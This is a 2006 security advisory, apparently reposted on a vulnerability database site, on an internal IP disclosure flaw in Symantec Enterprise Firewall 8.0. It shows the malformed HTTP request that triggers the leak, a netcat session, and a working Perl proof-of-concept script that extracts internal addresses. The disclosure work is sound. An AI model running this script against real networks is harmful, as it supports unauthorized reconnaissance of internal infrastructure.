`SEC Consult Security Advisory 20060512-0
==============================================================
title: Symantec Enterprise Firewall NAT/HTTP
Proxy Private IP Exposure
program: Symantec Enterprise FW
vulnerable version: 8.0
homepage: www.symantec.com
found: 2005-09-13
by: SEC Consult / www.sec-consult.com
==============================================================
Vendor description:
---------------
Symantec's Enterprise Firewall provides complete network protection by
integrating smart application-level proxies, network circuits and packet
filtering into a special perimeter-security architecture (...)
Vulnerabilty overview:
---------------
Enterprise FW leaks internal IPs of natted machines in response to
certain HTTP requests.
Vulnerability details:
---------------
A request of the form "get/XX HTTP/1.0" (note the missing space)
triggers the exposure. The firewall seems to forward the request and to
wait a certain time for a reply from the webserver, until the timeout is
reaches. the final response from the firewall looks like:
df0rm@b4byl0n:~> netcat www.behind-raptor.com 80
get/01 http/1.0
HTTP/1.1 504 Gateway Timeout
MIME-Version: 1.0
Server: Simple, Secure Web Server 1.1
Date: Tue, 13 Sep 2005 06:23:32 GMT
Connection: close
Content-Type: text/html
[...]
The request seen by the firewall was:
<tt><ul><li>
http://10.238.94.57/01
Here's a simple script to map external to internal IPs.
---------------
#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# sk0L@b4byl0n:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67
use IO::Socket;
$| = 1;
$host = $ARGV[0] or die "$0 <host>\n";
$request = "getXXX/XXX HTTP/1.0\n\n";
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
);
die "could not open socket: $!\n" unless $sock;
print $sock $request;
print "waiting for timeout (this can take about 1 min.)\n";
while (<$sock>) {
if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
$ip = $1;
}
}
if (defined($ip)) {
print "$host: $ip\n";
} else {
print "failed.\n";
}
close($sock);
vendor status:
---------------
vendor notified: 2005-09-13
vendor response: 2005-09-13
patch available: 2005-12
General remarks
---------------
We would like to apologize in advance for potential nonconformities
and/or known issues.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
Office Vienna
Blindengasse 3
A-1080 Wien
Austria
Tel.: +43 / 1 / 409 0307 - 570
Fax.: +43 / 1 / 409 0307 - 590
Mail: office at sec-consult dot com
www.sec-consult.com
EOF SEC Consult / @2006
research at sec-consult dot com
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation